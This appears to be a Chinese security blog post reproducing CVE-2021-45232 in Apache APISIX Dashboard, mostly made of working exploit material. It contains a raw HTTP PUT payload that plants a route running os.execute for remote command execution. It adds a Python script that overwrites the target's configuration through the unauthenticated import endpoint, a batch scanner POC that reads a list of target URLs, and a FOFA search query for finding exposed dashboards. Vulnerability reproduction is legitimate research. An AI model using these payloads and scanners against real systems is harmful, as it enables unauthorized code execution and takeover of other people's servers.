Apache APISIX Dashboard 接口未授权访问漏洞复现-CVE-2021-45232

VSole2022-01-07 15:54:56

1 环境搭建

使用docker搭建环境

https://github.com/apache/apisix-docker

修改docker-compose.yml为2.7即可

默认账号密码为admin:admin

1、首先添加一个上游

2、添加一个路由

然后在上游服务选择,我们新建的上游。


2 漏洞复现

获取/apisix/admin/migrate/export

构造一个Payload

PUT /apisix/admin/routes/387864323462005443 HTTP/1.1Host: ip:9000Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://106.52.5.116:9000/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie: -http-session-=1::http.session::e36a9dc03600ce92c8daf29b6a25f5a2Connection: closeContent-Length: 248
{"uris":["/rce"],"methods":["GET","POST","PUT","DELETE","HEAD","OPTIONS","CONNECT","TRACE"],"priority":0,"name":"rce","status":1,"labels":{},"script":"os.execute('touch /tmp/UzJu')","upstream_id":"387864007731577539"}

这里有两个地方需要注意,第一就是URL后面routes/后的数字是来自export中的路由ID。

而下面的upstreamid是来自export中的上游ID,如果填错会报找不到upstream_id,然后需要把新的覆盖一下。

某大佬发了一个文章给我,那里要用go写一个什么CRC的校验啥的,这里的话其实直接访问export就可以了,会自动下载一个bak文件。

我们需要直接浏览器访问:

http://ip:9000/apisix/admin/migrate/export,随后会下载一个名为apisix-config.bak的文件。

然后发送请求覆盖。

#!/usr/bin/env python# -*- coding: UTF-8 -*-'''@Project :UzJuSecurityTools @File    :test.py@Author  :UzJu@Date    :2021/12/29 12:24 上午 @Email   :UzJuer@163.com'''import httpximport requests
target = "http://ip:9000"url = target + "/apisix/admin/migrate/import"files = {'file': open('./apisix-config.bak', 'rb')}r = httpx.post(url, data={"mode": "overwrite"}, files=files, proxies="http://127.0.0.1:8080") print(r.status_code)print(r.content)

Ps: 上面写了proxies是因为想把流量给到burp,更好的看清楚请求。

随后在路由的地方查看一下,发现成功覆盖了。

看看burp接收到的请求。

然后访问ip:9080/UzJu

随后进入docker查看。

3 POC编写

最开始的POC编写思路,比较简单,既然是没做鉴权,那直接请求export然后判断返回的东西或者返回值是不是200不就可以了,先不考虑后续利用。

/apisix/admin/migrate/export

/apisix/admin/migrate/import

#!/usr/bin/env python# -*- coding: UTF-8 -*-'''@Project :UzJuSecurityTools @File    :CVE-2021-45232_POC.py@Author  :UzJu@Date    :2021/12/29 12:03 上午 @Email   :UzJuer@163.com'''
import requests

class Apache_ApiSix_Poc:    def __init__(self, url):        self.url = url + "/apisix/admin/migrate/export"
    def checkVuln(self):        headers = {            "Connection": "close"        }        try:            result = requests.get(url=self.url,                                  headers=headers,                                  verify=False)            if '{"Consumers":[]' in result.text:                print(f"[+]CVE-2021-45232: {self.url}存在漏洞")        except:            pass

if __name__ == '__main__':    with open('./url.txt', 'r') as f:        for i in f.read().splitlines():            main = Apache_ApiSix_Poc(i)            main.checkVuln()

然后fofa随便找一些站点,搜索语法为:

title="Apache APISIX Dashboard"

4 免责声明

本文内容仅用于技术交流,不存在所谓未公开POC,文中未进行打码处理的,全是已公开的POC或利用方式。

urladmin
本作品采用《CC 协议》,转载必须注明作者和本文链接
渗透测试Tips
2022-04-13 06:38:50
知己知彼,百战不殆1、如果提示缺少参数,如{msg:params error},可尝使用字典模糊测试构造参数,进一步攻击。
前阵子做了一下 Dice CTF 2021,做出了几个 XSS ,本次就写一下包括复现题在内的所有学习笔记。
Spring的英文翻译为春天,可以说是给Java程序员带来了春天,因为它极大的简化了开发。
使用docker搭建环境 https://github.com/apache/apisix-docker 修改docker-compose.yml为2.7即可
记某CMS漏洞getshell
2021-11-04 08:13:44
今天下午比较空闲,就去搜索一些cms,突然对极致CMS感兴趣,而网上已经有一些文章对它进行分析利用,sql注入,xss,后台修改上传后缀名前台getshell等等。 于是就引起了我的兴趣想去测试一下。
cmd=id输出了id为什么不直接在插件里面写入反弹shell呢?因为不知道有没有可以利用的工具来进行反弹shell,不清楚是否有nc,python,bash等等,那么写入可以执行系统命令的代码,可以去查找是否存在这些工具。发现为root用户system /bin/bash提升为root权限拿到flag
前言本文通过多个 poc ,结合ftp协议底层和php源码,分析了在 php 中利用 ftp 伪协议攻击 php-fpm ,从而绕过 disable_functions 的攻击方法,并在文末复现了 [蓝帽杯 2021]One Pointer PHP 和 [WMCTF2021] Make PHP Great Again And Again。
研究人员发现在暗网中有3000万记录了受Astoria公司数据泄露影响的美国人的记录。泄露的Astoria数据还包含电子邮件交易日志,显示通过电子邮件传输未加密的敏感用户信息。专家认为,卖方13是“ Yousef”,即近4亿个被盗Facebook帐户的原始经纪人 。调查涉嫌违规专家后,发现了向Astoria Company,LLC注册的400多个域的列表。Astoria公司识别并确认了其网站上存在恶意脚本,并将其脱机。专家发现,共有19个Astoria所有的域名使用相同的Adminer脚本,在Night Lion向Astoria报告后被下线。
前 言 欢迎各位大佬们给该项目点一个star https://github.com/flipped-aurora/gin-vue-admin/
VSole
网络安全专家